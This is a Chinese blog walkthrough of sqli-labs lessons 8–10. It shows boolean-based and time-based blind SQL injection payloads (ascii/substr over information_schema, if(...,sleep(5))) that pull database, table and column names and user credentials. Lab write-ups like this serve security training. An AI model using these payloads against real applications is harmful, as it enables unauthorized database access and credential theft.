首页 > 数据库技术 > 详细

sql-lib闯关之lesson8-10

时间:2020-02-25 22:06:52      阅读:90      评论:0      收藏:0      [点我收藏+]

知识铺垫
前面我们补充了布尔盲注,但是缺点也十分明显,就是效率太低了。
这次我们增添一种,时间盲注,可以同时用于有回显和没回显的情况下,弥补了布尔盲注不能用于无回显的不足。
函数
if(condition,A,B)  如果条件condition为true,则执行语句A,否则执行语句B。
sleep(5):等待5秒之后再返回页面做出反应

LESS8
我们开始闯关,有回显
技术分享图片

 

 

第一种方法:布尔盲注
①判断列数 输入:?id=1‘ order by 3 --+
技术分享图片

 

 

 


②接着判断 输入:?id=1‘ order by 4 --+  此时you are in 消失了,表示存在三列
技术分享图片

 

 

 


③猜测数据库表明第一个字母  输入:?id=1‘ and left((select database()),1)=0x73 --+    (0x73就是十六进制里的s)
技术分享图片

 

 

 同时也可以使用ascii编码?id=1’ and ascii(substr((select database()),1,1)) > 16--+ 


④输入:?id=1‘ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+ 先通过大于号或者小于号来判断数据库的第一个字母是哪一个

可以使用
输入:?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+
此时可以验证数据库中第五个数据库的第一个字母是s 


⑤输入:?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+
判断security数据库中的第4个表中的数据的第一位是否大于11

也可以使用
输入:?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+
验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是否是117,也就是 u

⑥输入:?id=1‘ and ascii(substr((select column_name from information_schema.columns where table_name = 0x7573657273 limit 1,1),1,1)) >10 --+
同理,进行判断表中的字段,然后进行判断。可以得到username,password; 

⑦输入:?id=1‘ and ascii(substr((select username from security.users limit 0,1),1,1)) >10 --+
同理,进行判断,最后再使用password进行判断。
第二种方法:时间盲注
①输入?id=1‘ and if(length(database()) = 8,1,sleep(5))--+  意思就是,当数据库名字长度为8的时候很快加载,而不为8时需要加载5s中才可以
技术分享图片

 

 

 


②输入:?id=1‘ and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+
如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s。
③输入:?id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+ 
 同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果。

总结:这两种方法都是利用猜测,效率低下
推荐抓包爆破或者脚本运行


LESS9
技术分享图片

 

 输入:?id=1‘ order by 4--+
技术分享图片

 

 换几个数值测试我们发现依旧都是you are in 没有回显,所以我们不能使用布尔盲注,只能使用时间盲注。


LESS10

第10关于第九关相同 更改id=1’为id=1” 就可以了

sql-lib闯关之lesson8-10

原文:https://www.cnblogs.com/c1047509362/p/12363850.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!